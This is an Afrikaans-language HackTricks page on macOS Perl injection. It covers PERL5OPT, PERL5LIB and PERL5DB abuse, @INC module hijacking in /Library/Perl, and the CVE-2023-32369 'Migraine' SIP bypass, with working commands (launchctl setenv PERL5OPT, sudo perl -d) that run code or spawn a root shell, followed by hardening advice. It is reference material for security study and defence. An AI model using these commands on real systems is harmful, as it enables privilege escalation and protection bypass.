macOS Perl Applications Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Via PERL5OPT & PERL5LIB omgewing veranderlike
Deur die omgewing veranderlike PERL5OPT te gebruik, is dit moontlik om Perl te laat uitvoer van willekeurige opdragte wanneer die interpreter begin (selfs voor die eerste lyn van die teikenskrip geanaliseer word).
Byvoorbeeld, skep hierdie skrip:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Nou voer die omgewing veranderlike uit en voer die perl skrip uit:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
ân Ander opsie is om ân Perl-module te skep (bv. /tmp/pmod.pm):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
En gebruik dan die omgewingsveranderlikes sodat die module outomaties geleë en gelaai word:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Ander interessante omgewing veranderlikes
PERL5DBâ wanneer die interpreter met die-d(debugger) vlag begin word, word die inhoud vanPERL5DBas Perl kode binne die debugger konteks uitgevoer. As jy beide die omgewing en die opdraglyn vlae van ân bevoorregte Perl proses kan beĂŻnvloed, kan jy iets soos die volgende doen:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # sal 'n shell laat val voordat die skrip uitgevoer word
PERL5SHELLâ op Windows beheer hierdie veranderlike watter shell uitvoerbare Perl sal gebruik wanneer dit ân shell moet spawn. Dit word hier slegs genoem vir volledigheid, aangesien dit nie relevant is op macOS nie.
Alhoewel PERL5DB die -d skakel vereis, is dit algemeen om onderhouds- of installeerder skripte te vind wat as root uitgevoer word met hierdie vlag geaktiveer vir gedetailleerde probleemoplossing, wat die veranderlike ân geldige eskalasie-vak kan maak.
Deur afhanklikhede (@INC misbruik)
Dit is moontlik om die insluitpad wat Perl sal soek (@INC) te lys deur:
perl -e 'print join("\n", @INC)'
Tipiese uitvoer op macOS 13/14 lyk soos:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Sommige van die teruggegee vouers bestaan selfs nie, maar /Library/Perl/5.30 bestaan, is nie beskerm deur SIP nie en is voor die SIP-beskermde vouers. Daarom, as jy as root kan skryf, kan jy ân kwaadwillige module (bv. File/Basename.pm) laat val wat voorkeursgewys gelaai sal word deur enige bevoorregte skrip wat daardie module invoer.
Warning
Jy het steeds root nodig om binne
/Library/Perlte skryf en macOS sal ân TCC prompt wys wat vra vir Volledige Skyf Toegang vir die proses wat die skryfoperasie uitvoer.
Byvoorbeeld, as ân skrip use File::Basename; invoer, sal dit moontlik wees om /Library/Perl/5.30/File/Basename.pm te skep wat aanvaller-beheerde kode bevat.
SIP omseiling via Migrasie Assistent (CVE-2023-32369 âMigraineâ)
In Mei 2023 het Microsoft CVE-2023-32369 bekend gemaak, met die bynaam Migraine, ân post-exploitatie tegniek wat ân root aanvaller in staat stel om die Stelsels Integriteit Beskerming (SIP) heeltemal te omseil.
Die kwesbare komponent is systemmigrationd, ân daemon wat toegelaat word met com.apple.rootless.install.heritable. Enige kindproses wat deur hierdie daemon gegenereer word, erf die toelae en loop dus buite SIP-beperkings.
Onder die kinders wat deur die navorsers geĂŻdentifiseer is, is die Apple-onderteken interpreter:
/usr/bin/perl /usr/libexec/migrateLocalKDC âŠ
Omdat Perl PERL5OPT eerbiedig, en Bash BASH_ENV eerbiedig, is dit genoeg om die daemon se omgewing te vergiftig om arbitrĂȘre uitvoering in ân SIP-loos konteks te verkry:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait â systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Wanneer migrateLocalKDC loop, begin /usr/bin/perl met die kwaadwillige PERL5OPT en voer /private/tmp/migraine.sh uit voordat SIP heraktiveer word. Vanuit daardie skrip kan jy byvoorbeeld ân payload binne /System/Library/LaunchDaemons kopieer of die com.apple.rootless uitgebreide attribuut toewys om ân lĂȘer onverwyderbaar te maak.
Apple het die probleem in macOS Ventura 13.4, Monterey 12.6.6 en Big Sur 11.7.7 reggestel, maar ouer of nie-gepatchte stelsels bly uitbuitbaar.
Versterking aanbevelings
- Verwyder gevaarlike veranderlikes â bevoorregte launchdaemons of cron jobs moet met ân skoon omgewing begin (
launchctl unsetenv PERL5OPT,env -i, ens.). - Vermy om interpreters as root te laat loop tensy dit streng nodig is. Gebruik gecompileerde binaire of laat voorregte vroeg val.
- Verskaffer skripte met
-T(taint mode) sodat PerlPERL5OPTen ander onveilige skakels ignoreer wanneer taint kontrole geaktiveer is. - Hou macOS op datum â âMigraineâ is volledig gepatch in huidige weergawes.
Verwysings
- Microsoft Security Blog â âNuwe macOS kwesbaarheid, Migraine, kan Stelselintegriteitsbeskerming omseilâ (CVE-2023-32369), 30 Mei 2023.
- Hackyboiz â âmacOS SIP Omseiling (PERL5OPT & BASH_ENV) navorsingâ, Mei 2025.
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

